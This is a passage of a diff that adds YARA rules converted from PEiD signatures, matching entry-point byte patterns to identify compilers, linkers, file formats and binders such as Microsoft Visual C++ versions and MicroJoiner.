+rule PEiD_01032_MicroJoiner_1_6____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.6 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+    condition:
+        $a
+}
+rule PEiD_01033_MicroJoiner_1_7____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.7 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01034_Microsoft__R__Full_text_index_file_
+{
+    meta:
+        description = "[Microsoft (R) Full-text index file]"
+        ep_only = "false"
+    strings:
+        $a = {6C 6C 2D 74 65 78 74 20 69 6E 64 65 78}
+    condition:
+        $a
+}
+rule PEiD_01035_Microsoft__R__Incremental_Linker_Version_5_12_8078__MASM_TASM__
+{
+    meta:
+        description = "[Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40}
+    condition:
+        $a
+}
+
+rule PEiD_01036_Microsoft_Access_Database_file_
+{
+    meta:
+        description = "[Microsoft Access Database file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 00}
+    condition:
+        $a
+}
+rule PEiD_01037_Microsoft_Basic_Compiler_v5_60_1982_97_
+{
+    meta:
+        description = "[Microsoft Basic Compiler v5.60 1982-97]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+    condition:
+        $a
+}
+
+rule PEiD_01038_Microsoft_C__1988_1989__
+{
+    meta:
+        description = "[Microsoft C (1988/1989)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+    condition:
+        $a
+}
+
+rule PEiD_01039_Microsoft_C__1990_1992__
+{
+    meta:
+        description = "[Microsoft C (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+    condition:
+        $a
+}
+
+rule PEiD_01040_Microsoft_C_for_Windows__1__
+{
+    meta:
+        description = "[Microsoft C for Windows (1)]"
+        ep_only = "true"
+    strings:
+        $a = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+rule PEiD_01041_Microsoft_C_for_Windows__2__
+{
+    meta:
+        description = "[Microsoft C for Windows (2)]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+    condition:
+        $a
+}
+
+rule PEiD_01042_Microsoft_C_Library_1985_
+{
+    meta:
+        description = "[Microsoft C Library 1985]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
+    condition:
+        $a
+}
+
+rule PEiD_01043_Microsoft_C_v1_04_
+{
+    meta:
+        description = "[Microsoft C v1.04]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01044_Microsoft_C____1990_1992__
+{
+    meta:
+        description = "[Microsoft C++ (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01045_Microsoft_C_
+{
+    meta:
+        description = "[Microsoft C]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? B8}
+    condition:
+        $a
+}
+
+rule PEiD_01046_Microsoft_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft CAB SFX module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+    condition:
+        $a
+}
+
+rule PEiD_01047_Microsoft_CAB_SFX_
+{
+    meta:
+        description = "[Microsoft CAB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_01048_Microsoft_FORTRAN_
+{
+    meta:
+        description = "[Microsoft FORTRAN]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01049_Microsoft_Resource_Cursors_file_
+{
+    meta:
+        description = "[Microsoft Resource Cursors file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 02 00 01 00 20 20 00 00 ?? 00 ?? 00 E8 02 00 00 16}
+    condition:
+        $a
+}
+/*
+rule PEiD_01050_Microsoft_Visual_Basic_5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01051_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01052_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+
+rule PEiD_01053_Microsoft_Visual_Basic_v5_0_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0/v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01054_Microsoft_Visual_Basic_v5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01055_Microsoft_Visual_Basic_v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01056_Microsoft_Visual_Basic_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a
+}
+*/
+rule PEiD_01057_Microsoft_Visual_C_2_0_
+{
+    meta:
+        description = "[Microsoft Visual C 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+    condition:
+        $a
+}
+rule PEiD_01058_Microsoft_Visual_C_5_0_
+{
+    meta:
+        description = "[Microsoft Visual C 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_01059_Microsoft_Visual_C_v2_0_
+{
+    meta:
+        description = "[Microsoft Visual C v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+    condition:
+        $a
+}
+rule PEiD_01060_Microsoft_Visual_C____Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# / Basic .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01061_Microsoft_Visual_C__v7_0___Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# v7.0 / Basic .NET]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01062_Microsoft_Visual_C____3_0_old_crap__
+{
+    meta:
+        description = "[Microsoft Visual C++ (3.0 old crap)]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+    condition:
+        $a
+}
+rule PEiD_01063_Microsoft_Visual_C___4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ 4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89}
+    condition:
+        $a
+}
+
+rule PEiD_01064_Microsoft_Visual_C___5_0___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 5.0 - 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 04 01 00 00 68 04 01 00 00 8D 85 FC FE FF FF 50 6A 00 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D FC FE FF FF 51 E8 ?? ?? ?? ?? 83 C4 04 E8 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 8B E5 5D C2 10 00}
+    condition:
+        $a
+}
+
+rule PEiD_01065_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01066_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+rule PEiD_01067_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51}
+    condition:
+        $a
+}
+
+rule PEiD_01068_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01069_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01070_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1 C2 10 00 53 F7 E1 8B D8 8B 44 24 08 F7 64 24 14 03 D8 8B 44 24 08 F7 E1 03 D3 5B C2 10 00}
+    condition:
+        $a
+}
+rule PEiD_01071_Microsoft_Visual_C___6_0_DLL__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL (Debug)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01072_Microsoft_Visual_C___6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+    condition:
+        $a
+}
+
+rule PEiD_01073_Microsoft_Visual_C___6_0_SFX_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+    condition:
+        $a
+}
+
+rule PEiD_01074_Microsoft_Visual_C___7_0_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_01075_Microsoft_Visual_C___7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+
+rule PEiD_01076_Microsoft_Visual_C___7_0_MFC_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 MFC]"
+        ep_only = "true"
+    strings:
+        $a = {6A 60 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+
+rule PEiD_01077_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 8B 75 0C}
+    condition:
+        $a
+}
+rule PEiD_01078_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 18 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+rule PEiD_01079_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 08 53 56 57 55 FC 8B 5D 0C 8B 45 08 F7 40 04 06 00 00 00 0F 85 AB 00 00 00 89 45 F8 8B 45 10 89 45 FC 8D 45 F8 89 43 FC 8B 73 0C 8B 7B 08 53 E8 ?? ?? ?? ?? 83 C4 04 0B C0 74 7B 83 FE FF 74 7D 8D 0C 76 8B 44 8F 04 0B C0 74 59 56 55}
+    condition:
+        $a
+}
+rule PEiD_01080_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01081_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+    condition:
+        $a
+}
+rule PEiD_01082_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01083_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+rule PEiD_01084_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+    condition:
+        $a
+}
+rule PEiD_01085_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 0E FD FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+/*
+rule PEiD_01086_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01087_Microsoft_Visual_C___8_0__Debug_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+
+rule PEiD_01088_Microsoft_Visual_C___8_0__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01089_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 ?? ?? FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_01090_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01091_Microsoft_Visual_C___8_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E9 ?? ?? FF FF}
+    condition:
+        $a
+}
+*/
+rule PEiD_01092_Microsoft_Visual_C_______
+{
+    meta:
+        description = "[Microsoft Visual C++ ?.?]"
+        ep_only = "true"
+    strings:
+        $a = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01093_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01094_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+    condition:
+        $a
+}
+rule PEiD_01095_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+    condition:
+        $a
+}
+rule PEiD_01096_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01097_Microsoft_Visual_C___v4_2_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+    condition:
+        $a
+}
+rule PEiD_01098_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+    condition:
+        $a
+}
+
+rule PEiD_01099_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+    condition:
+        $a
+}
+rule PEiD_01100_Microsoft_Visual_C___v4_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01101_Microsoft_Visual_C___v5_0_v6_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0/v6.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_01102_Microsoft_Visual_C___v5_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01103_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+    condition:
+        $a
+}
+rule PEiD_01104_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01105_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
